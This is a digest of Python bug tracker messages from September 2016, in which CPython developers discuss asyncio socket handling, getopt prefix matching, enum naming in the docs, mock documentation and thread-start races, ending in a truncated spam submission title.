From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 17:57:23 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za>
Message-ID: <1473962243.71.0.109726650053.issue27906@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> > On the asyncio side, with debug turned on, we see nothing.

> Does someone see a way to log a message in such case? Maybe only in debug mode?

I'm not sure we can do anything here.  @kevinconway, did you try to find out if it's possible to log this somehow?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Thu Sep 15 14:01:28 2016
From: report at bugs.python.org (Tim Graham)
Date: Thu, 15 Sep 2016 18:01:28 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1473962488.68.0.209695464574.issue22493@psf.upfronthosting.co.za>


Tim Graham added the comment:

Looks like we could remove the '^', but it doesn't resolve the deprecation warnings. The inline flags in `pattern` still need to be moved before `_prefix`.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Thu Sep 15 14:03:55 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Thu, 15 Sep 2016 18:03:55 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1473962243.71.0.109726650053.issue27906@psf.upfronthosting.co.za>
Message-ID: <CAP7+vJLnJf+W7KEWommD3ju4LMUjPwbsfbzCNYDkgAtjv-8nAQ@mail.gmail.com>


Guido van Rossum added the comment:

Maybe with the new code it could log a message if it doesn't exit the
loop via a break? Because that would mean the listen buffer is full.
It would encourage people to configure a larger number.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Thu Sep 15 14:09:47 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 15 Sep 2016 18:09:47 +0000
Subject: [issue26182] Deprecation warnings for the future async and await
 keywords in Python 3.6
In-Reply-To: <1473958273.05.0.142709532354.issue26182@psf.upfronthosting.co.za>
Message-ID: <CAP1=2W6v6rGW1_gqK_2D_aqqwGo-teydopg+MvNBriTWcR886A@mail.gmail.com>


Brett Cannon added the comment:

Sorry I didn't get around to reviewing; I'm sick.

On Thu, Sep 15, 2016, 09:51 Yury Selivanov <report at bugs.python.org> wrote:

>
> Yury Selivanov added the comment:
>
> Merged.
>
> ----------
> resolution:  -> fixed
> stage: needs patch -> resolved
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue26182>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26182>
_______________________________________

From report at bugs.python.org  Thu Sep 15 14:15:40 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 18:15:40 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <1472608644.33.0.983787454696.issue27906@psf.upfronthosting.co.za>
Message-ID: <20160915181536.7891.98821.332D72C5@psf.io>


Roundup Robot added the comment:

New changeset 1dcfafed3cb0 by Yury Selivanov in branch '3.5':
Issue #27906: Fix socket accept exhaustion during high TCP traffic.
https://hg.python.org/cpython/rev/1dcfafed3cb0

New changeset 62948164ff94 by Yury Selivanov in branch '3.6':
Merge 3.5 (issue #27906)
https://hg.python.org/cpython/rev/62948164ff94

New changeset ac13bf1967b5 by Yury Selivanov in branch 'default':
Merge 3.6 (issue #27906)
https://hg.python.org/cpython/rev/ac13bf1967b5

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Thu Sep 15 14:37:56 2016
From: report at bugs.python.org (Sohaib Ahmad)
Date: Thu, 15 Sep 2016 18:37:56 +0000
Subject: [issue27973] urllib.urlretrieve() fails on second ftp transfer
In-Reply-To: <1473174596.52.0.952829730129.issue27973@psf.upfronthosting.co.za>
Message-ID: <1473964676.46.0.55160857411.issue27973@psf.upfronthosting.co.za>


Sohaib Ahmad added the comment:

I manually reverted the issue26960 patch which fixed my issue of consecutive downloads but it also caused regression of issue26960.

I am looking into what could be causing this hang when voidresp() is called using the demo available in issue26960 and it looks when urlopen() is called following happens:

urlopen() > URLopener.open() > URLopener.open_ftp > ftpwrapper.retrfile() > FTP.ntransfercmd()

Now this retrfile() calls FTP.ntransfercmd() in ftplib which sends RETR command to ftp server which, if I understand correctly, means that retrieve a copy of the file from FTP server. If RETR does retrieve complete file then I think the behavior after reverting issue26960 patch is fine and the hang would be there for large files.

I think we can fix this freeze for large files but I have two questions regarding this:

1) Is urlopen() supposed to download complete files? From Python doc, it looks like it only returns a network object or an exception in case of invalid URL.

2) If it is not supposed to download complete files, can we switch to LIST instead of RETR for FTP files?

I'd be grateful if a urllib / ftplib expert can answer the above questions.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27973>
_______________________________________

From report at bugs.python.org  Thu Sep 15 14:56:36 2016
From: report at bugs.python.org (Mike Hagerty)
Date: Thu, 15 Sep 2016 18:56:36 +0000
Subject: [issue28171] getopt.getopt error processing long_options
Message-ID: <1473965796.55.0.533573601577.issue28171@psf.upfronthosting.co.za>


New submission from Mike Hagerty:

Here's the relevant code:

opts, args = getopt.getopt(sys.argv[1:], "ih", ["help", "f1Hz","startdate=", "ndays="])

>main.py -i --f1H --startdat=2016-08-22 --ndays 2

Here's what getopt returns into opts:
opts= [('-i', ''), ('--f1Hz', ''), ('--startdate', '2016-08-22'), ('--ndays', '2')]

As you can see, I gave incomplete long_option names ("--f1H" instead of "--f1Hz",
"startdat" instead of "startdate") but getopt doesn't care.

getopt appears to scan just until the end of the input flag ("--f1H") and replaces this in opts with the full flag name passed to it ("--f1Hz") that matches the first characters.  

This means, for instance, you couldn't do:
>main.py --flag1=something --flag11=something_else

Surely this isn't intended behavior (?)

----------
messages: 276588
nosy: hagertmb at bc.edu
priority: normal
severity: normal
status: open
title: getopt.getopt error processing long_options
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:01:47 2016
From: report at bugs.python.org (Chris Angelico)
Date: Thu, 15 Sep 2016 19:01:47 +0000
Subject: [issue28172] Upper-case all example enum members
Message-ID: <1473966107.03.0.300297915122.issue28172@psf.upfronthosting.co.za>


New submission from Chris Angelico:

Discussion on python-ideas led to a firm ruling by Guido that enum members are functionally equivalent to constants, and should thus be named in upper-case. This is contrary to the current documentation. Solution? Change the docs.

----------
assignee: docs at python
components: Documentation
files: uppercase-enums.patch
keywords: patch
messages: 276589
nosy: Rosuav, docs at python
priority: normal
severity: normal
status: open
title: Upper-case all example enum members
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44676/uppercase-enums.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28172>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:01:54 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 19:01:54 +0000
Subject: [issue27354] SSLContext.load_verify_locations cannot handle paths on
 Windows which cannot be encoded using mbcs
In-Reply-To: <1473946396.32.0.534875064086.issue27354@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZ=JooqLKSUhMWaQUOhnNJxM29iGBCh4-H7AJ=28kyacw@mail.gmail.com>


STINNER Victor added the comment:

Steve Dower added the comment:
> TESTFN_UNENCODABLE will be invalid utf8 now, as the name is chosen by attempting to encode a list of names and using the first one to fail.

Oh, maybe we should reject filenames not encodable to utf8? Filenames
containg surrogate characters.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27354>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:02:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 19:02:14 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1473966134.53.0.95019820389.issue27391@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy:  -haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:04:24 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 15 Sep 2016 19:04:24 +0000
Subject: [issue28171] getopt.getopt error processing long_options
In-Reply-To: <1473965796.55.0.533573601577.issue28171@psf.upfronthosting.co.za>
Message-ID: <1473966264.17.0.536647408403.issue28171@psf.upfronthosting.co.za>


SilentGhost added the comment:

It's a documented behaviour: "Long options on the command line can be recognized so long as they provide a prefix of the option name that matches exactly one of the accepted options"

----------
nosy: +SilentGhost
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:04:30 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 19:04:30 +0000
Subject: [issue27906] Socket accept exhaustion during high TCP traffic
In-Reply-To: <20160915181536.7891.98821.332D72C5@psf.io>
Message-ID: <CAMpsgwZ6wZihSpknK+EJh_MJsdCrWZBSqCXNX8AfJcM25hoyuA@mail.gmail.com>


STINNER Victor added the comment:

Guido van Rossum: "Maybe with the new code it could log a message if
it doesn't exit the loop via a break? Because that would mean the
listen buffer is full. It would encourage people to configure a larger
number."

Hum, yes maybe. But I would suggest to only log a maximum message per
server, not start filling logs with the same message if the server is
stressed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27906>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:06:12 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 19:06:12 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473961710.94.0.410263244801.issue28114@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwY5xLChN573uNoFBAG49YkhOFc1CXO1VefjKMuqOVeBzA@mail.gmail.com>


STINNER Victor added the comment:

> #if defined(HAVE_WEXECV) || defined(HAVE_WSPAWNV)

Hum, can't we use MS_WINDOWS here? Or maybe pass a parameter in
parse_envlist() for Windows?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:08:17 2016
From: report at bugs.python.org (Mike Hagerty)
Date: Thu, 15 Sep 2016 19:08:17 +0000
Subject: [issue28171] getopt.getopt error processing long_options
In-Reply-To: <1473966264.17.0.536647408403.issue28171@psf.upfronthosting.co.za>
Message-ID: <CALVK2xWdT0=YeF+aQ9WfEVikmd5UsXHs_zng_x5ufkAQjr6_DQ@mail.gmail.com>


Mike Hagerty added the comment:

Huh ?

"documented behaviour" ?

How is silently failing to resolve input errors okay ?

On Thu, Sep 15, 2016 at 3:04 PM, SilentGhost <report at bugs.python.org> wrote:

>
> SilentGhost added the comment:
>
> It's a documented behaviour: "Long options on the command line can be
> recognized so long as they provide a prefix of the option name that matches
> exactly one of the accepted options"
>
> ----------
> nosy: +SilentGhost
> resolution:  -> not a bug
> stage:  -> resolved
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28171>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:10:04 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 15 Sep 2016 19:10:04 +0000
Subject: [issue28171] getopt.getopt error processing long_options
In-Reply-To: <1473965796.55.0.533573601577.issue28171@psf.upfronthosting.co.za>
Message-ID: <1473966604.14.0.749831867872.issue28171@psf.upfronthosting.co.za>


SilentGhost added the comment:

It's not an error. Read the docs, there's a longer and more detailed explanation there. There is no chance of this being changed, not in a module like getopt.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:10:15 2016
From: report at bugs.python.org (Chris Rao)
Date: Thu, 15 Sep 2016 19:10:15 +0000
Subject: [issue28173] Misspelled Assert
Message-ID: <1473966615.29.0.712083850486.issue28173@psf.upfronthosting.co.za>


New submission from Chris Rao:

In the second code block in the section on autospeccing in https://docs.python.org/3/library/unittest.mock.html#auto-speccing, assert is spelled as "assret"

>>> mock = Mock(name='Thing', return_value=None)
>>> mock(1, 2, 3)
>>> mock.assret_called_once_with(4, 5, 6)

----------
assignee: docs at python
components: Documentation
messages: 276596
nosy: Chris Rao, docs at python
priority: normal
severity: normal
status: open
title: Misspelled Assert

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28173>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:10:59 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 15 Sep 2016 19:10:59 +0000
Subject: [issue28172] Upper-case all example enum members
In-Reply-To: <1473966107.03.0.300297915122.issue28172@psf.upfronthosting.co.za>
Message-ID: <1473966659.96.0.128560799606.issue28172@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28172>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:16:17 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 15 Sep 2016 19:16:17 +0000
Subject: [issue28171] getopt.getopt error processing long_options
In-Reply-To: <1473965796.55.0.533573601577.issue28171@psf.upfronthosting.co.za>
Message-ID: <1473966977.56.0.626541231622.issue28171@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

> Surely this isn't intended behavior (?)

It is indeed. That's standard behaviour for GNU getopt, which the Python module is modelled after:

[steve at ando ~]$ getopt --version
getopt (enhanced) 1.1.4
[steve at ando ~]$ getopt --versi
getopt (enhanced) 1.1.4

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:16:43 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 15 Sep 2016 19:16:43 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1473967003.6.0.197941688651.issue27400@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

Nick: Looks like it's quite a bit more work than just a dict lookup. That PyImport_ImportModuleNoBlock call (which seems odd; the implementation of NoBlock is just to wrap the blocking function; guess we don't allow non-blocking imports anymore and this is just to avoid changing all the names elsewhere?) involves a *lot* more work than just a dict lookup (it devolves to a PyImport_Import call https://hg.python.org/cpython/file/3.5/Python/import.c#l1743 , which basically does everything involved in the import process aside from actually reading/parsing the file unconditionally, because of how weird __import__ overrides can be, I guess).

While it's not a perfect comparison, compare:

>>> import _strptime  # It's now cached

# Cache globals dict for fair comparison without globals() call overhead
>>> g = globals()     

# Reimport (this might be *more* expensive at C layer, see notes below)
>>> %timeit -r5 import _strptime
1000000 loops, best of 5: 351 ns per loop

# Dict lookup (should be at least a bit cheaper at C layer if done equivalently, using GetAttrId to avoid temporary str)
>>> %timeit -r5 g['_strptime']
10000000 loops, best of 5: 33.1 ns per loop

# Cached reference (should be *much* cheaper at C layer)
>>> %timeit -r5 _strptime
100000000 loops, best of 5: 19.1 ns per loop

Note: I'm a little unclear on whether a Python function implemented in C has its own globals, or whether it's simulated as part of the C module initialization); if it lacks globals, then the work done for PyImport_Import looks like it roughly doubles (it has to do all sorts of work to simulate globals and the like), so that 351 ns per re-import might actually be costlier in C.

Either way, it's a >10x increase in cost to reimport compared to a dict lookup, and ~18x speedup over using a cached reference (and like I said, I think the real cost of the cheaper options would be much less in C, so the multiplier is higher). Admittedly, in tests, empty string calls to `_strptime._strptime` take around 7.4 microseconds (with realistic calls taking 8.5-13.5 microseconds), so caching is saving maybe a third of a microsecond overhead, maybe 2.5%-4.5% of the work involved in the strptime call.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:17:06 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 15 Sep 2016 19:17:06 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473967026.21.0.148163921031.issue28114@psf.upfronthosting.co.za>


Steve Dower added the comment:

We already use HAVE_WEXECV and HAVE_WSPAWNV elsewhere to choose the wide-char versions of these functions. You've got a few changes to make if you want to maintain consistency.

Personally I prefer feature flags to platform flags, then let pyconfig.h control them, especially when we're not directly using platform-specific APIs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:17:47 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 15 Sep 2016 19:17:47 +0000
Subject: [issue28114] parse_envlist(): os.execve(), os.spawnve(),
 etc. crash in Python 3.6.0 when env contains byte strings
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473967067.55.0.58171902049.issue28114@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Ok fine ;-) Let's keep #if defined(HAVE_WEXECV) || defined(HAVE_WSPAWNV).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:17:50 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 15 Sep 2016 19:17:50 +0000
Subject: [issue28173] Misspelled Assert
In-Reply-To: <1473966615.29.0.712083850486.issue28173@psf.upfronthosting.co.za>
Message-ID: <1473967070.41.0.188861809478.issue28173@psf.upfronthosting.co.za>


Ethan Furman added the comment:

The misspelling is intentional.  That section is talking about what happens when an "assert_" method is misspelled.

----------
nosy: +ethan.furman, michael.foord
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28173>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:20:38 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 15 Sep 2016 19:20:38 +0000
Subject: [issue28171] getopt.getopt error processing long_options
In-Reply-To: <1473965796.55.0.533573601577.issue28171@psf.upfronthosting.co.za>
Message-ID: <1473967238.79.0.644184005189.issue28171@psf.upfronthosting.co.za>


Steven D'Aprano added the comment:

> How is silently failing to resolve input errors okay ?

You haven't demonstrated that it fails to resolve input errors. You have demonstrated a *feature*, not a bug: getopt will accept prefixes if they unambiguously match ONE long option only. If the prefix matches two or more options, then the prefix is ambiguous and getopt will not accept it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:26:04 2016
From: report at bugs.python.org (Mike Hagerty)
Date: Thu, 15 Sep 2016 19:26:04 +0000
Subject: [issue28171] getopt.getopt error processing long_options
In-Reply-To: <1473967238.79.0.644184005189.issue28171@psf.upfronthosting.co.za>
Message-ID: <CALVK2xUBKxvxVR+bZCsBjsrHeVjnMZ3fQou60CG++rMnHakF7Q@mail.gmail.com>


Mike Hagerty added the comment:

You win.  It's not a bug, it's a feature ... that renders the module
incorrect
by any reasonable definition.

argparse here I come!

On Thu, Sep 15, 2016 at 3:20 PM, Steven D'Aprano <report at bugs.python.org>
wrote:

>
> Steven D'Aprano added the comment:
>
> > How is silently failing to resolve input errors okay ?
>
> You haven't demonstrated that it fails to resolve input errors. You have
> demonstrated a *feature*, not a bug: getopt will accept prefixes if they
> unambiguously match ONE long option only. If the prefix matches two or more
> options, then the prefix is ambiguous and getopt will not accept it.
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28171>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:28:36 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Thu, 15 Sep 2016 19:28:36 +0000
Subject: [issue27400] Datetime NoneType after calling Py_Finalize and
 Py_Initialize
In-Reply-To: <1467035358.55.0.678180807375.issue27400@psf.upfronthosting.co.za>
Message-ID: <1473967716.22.0.879945226111.issue27400@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

Hmm... On checking down some of the code paths and realizing there were some issues in 3.5 (redundant code, and what looked like two memory leaks), I checked tip (to avoid opening bugs on stale code), and discovered that #22557 rewrote the import code, reducing the cost of top level reimport by ~60%, so my microbenchmarks (run on Python 3.5.0) are already out of date for 3.6's faster re-import. Even so, caching wasn't a wholly unreasonable optimization before now, and undoing it now still has a cost, if a smaller one.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27400>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:35:06 2016
From: report at bugs.python.org (=?utf-8?q?Maciej_Urba=C5=84ski?=)
Date: Thu, 15 Sep 2016 19:35:06 +0000
Subject: [issue27908] del _limbo[self] KeyError
In-Reply-To: <1472628459.0.0.615351058754.issue27908@psf.upfronthosting.co.za>
Message-ID: <1473968106.94.0.839328506689.issue27908@psf.upfronthosting.co.za>


Maciej Urba?ski added the comment:

To address @Dima.Tisnek concern I have changed exception message in case thread start process is merely in progress.

I kept `self._started` check under a lock so we can avoid more extreme race condition of one thread checking `self._started` right before another sets it and exits the limbo.

As for testing `self._started` under a lock, but setting it without one. I'm avoiding it only because of performance reasons. The read is super cheap, while notification of `.set()` is more complex, so if aesthetics are only reasons for doing it there then I would advise against holding that lock while executing it.

Of course I could also do a `self in _active` check under a lock, but that is slightly more costly, than `self._started` check and not any more useful.

I may be prematurely optimizing things, but people tend to like they threads to startup ASAP.

----------
Added file: http://bugs.python.org/file44677/issue27908_2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27908>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:35:38 2016
From: report at bugs.python.org (Ethan Furman)
Date: Thu, 15 Sep 2016 19:35:38 +0000
Subject: [issue28172] Upper-case all example enum members
In-Reply-To: <1473966107.03.0.300297915122.issue28172@psf.upfronthosting.co.za>
Message-ID: <1473968138.06.0.692239452736.issue28172@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
nosy: +ethan.furman

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28172>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:44:09 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 19:44:09 +0000
Subject: [issue28174] asyncio: Handle when SO_REUSEPORT isn't properly
 supported
Message-ID: <1473968649.81.0.461772450812.issue28174@psf.upfronthosting.co.za>


New submission from Yury Selivanov:

Proxy issue for https://github.com/python/asyncio/pull/418

----------
assignee: yselivanov
components: asyncio
messages: 276606
nosy: gvanrossum, yselivanov
priority: normal
severity: normal
stage: resolved
status: open
title: asyncio: Handle when SO_REUSEPORT isn't properly supported
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28174>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:44:21 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 19:44:21 +0000
Subject: [issue28174] asyncio: Handle when SO_REUSEPORT isn't properly
 supported
In-Reply-To: <1473968649.81.0.461772450812.issue28174@psf.upfronthosting.co.za>
Message-ID: <1473968661.68.0.483758990041.issue28174@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
resolution:  -> fixed
status: open -> closed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28174>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:44:38 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 15 Sep 2016 19:44:38 +0000
Subject: [issue28171] getopt.getopt error processing long_options
In-Reply-To: <CALVK2xUBKxvxVR+bZCsBjsrHeVjnMZ3fQou60CG++rMnHakF7Q@mail.gmail.com>
Message-ID: <20160915194431.GV22471@ando.pearwood.info>


Steven D'Aprano added the comment:

> argparse here I come!

https://docs.python.org/2/library/argparse.html#argument-abbreviations-prefix-matching

Prefix matching is a standard feature of all command line option parsers 
that I know of.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28171>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:46:48 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 19:46:48 +0000
Subject: [issue28174] asyncio: Handle when SO_REUSEPORT isn't properly
 supported
In-Reply-To: <1473968649.81.0.461772450812.issue28174@psf.upfronthosting.co.za>
Message-ID: <20160915194645.15282.72511.B758B351@psf.io>


Roundup Robot added the comment:

New changeset c1c247cf3488 by Yury Selivanov in branch '3.5':
Issue #28174: Handle when SO_REUSEPORT isn't properly supported (asyncio)
https://hg.python.org/cpython/rev/c1c247cf3488

New changeset f2fdb624074a by Yury Selivanov in branch '3.6':
Merge 3.5 (issue #28174)
https://hg.python.org/cpython/rev/f2fdb624074a

New changeset e9c37e3efcb2 by Yury Selivanov in branch 'default':
Merge 3.6 (issue #28174)
https://hg.python.org/cpython/rev/e9c37e3efcb2

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28174>
_______________________________________

From report at bugs.python.org  Thu Sep 15 15:58:45 2016
From: report at bugs.python.org (Yaron Goland)
Date: Thu, 15 Sep 2016 19:58:45 +0000
Subject: [issue28160] Python -V and --version output to stderr instead of
 stdout
In-Reply-To: <1473896211.12.0.819655349887.issue28160@psf.upfronthosting.co.za>
Message-ID: <1473969525.94.0.541875947951.issue28160@psf.upfronthosting.co.za>


Yaron Goland added the comment:

Fair enough. Thanks for looking at it!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28160>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:02:23 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 15 Sep 2016 20:02:23 +0000
Subject: [issue26654] asyncio is not inspecting keyword arguments of
 functools.partial
In-Reply-To: <1459159050.15.0.830010057156.issue26654@psf.upfronthosting.co.za>
Message-ID: <20160915200201.31095.69803.508373F0@psf.io>


Roundup Robot added the comment:

New changeset 4ab64ea31d75 by Yury Selivanov in branch '3.5':
Issue #26654: Inspect functools.partial in asyncio.Handle.__repr__.
https://hg.python.org/cpython/rev/4ab64ea31d75

New changeset 03257f04ee9f by Yury Selivanov in branch '3.6':
Merge 3.5 (issue #26654)
https://hg.python.org/cpython/rev/03257f04ee9f

New changeset 1dbe3addba28 by Yury Selivanov in branch 'default':
Merge 3.6 (issue #26654)
https://hg.python.org/cpython/rev/1dbe3addba28

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26654>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:02:53 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Thu, 15 Sep 2016 20:02:53 +0000
Subject: [issue26654] asyncio is not inspecting keyword arguments of
 functools.partial
In-Reply-To: <1459159050.15.0.830010057156.issue26654@psf.upfronthosting.co.za>
Message-ID: <1473969773.27.0.547917899306.issue26654@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Merged! Thank you!

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26654>
_______________________________________

From report at bugs.python.org  Thu Sep 15 16:17:42 2016
From: report at bugs.python.org (himanshu jha)
Date: Thu, 15 Sep 2016 20:17:42 +0000
Subject: [issue28175] @^@^@^@1~8.5.5.7.0.9~2847^^^^ Lexmark P.r.i.n.t.e.r
 T.e.h S.u.p.p.O.r.T P.h.o.n.e n.u.m.b.e.r Lexmark p.h.o.n.e N.u.m.b.e.r.
Message-ID: <1473970662.32.0.932560938968.issue28175@psf.upfronthosting.co.za>


New submission from himanshu jha:

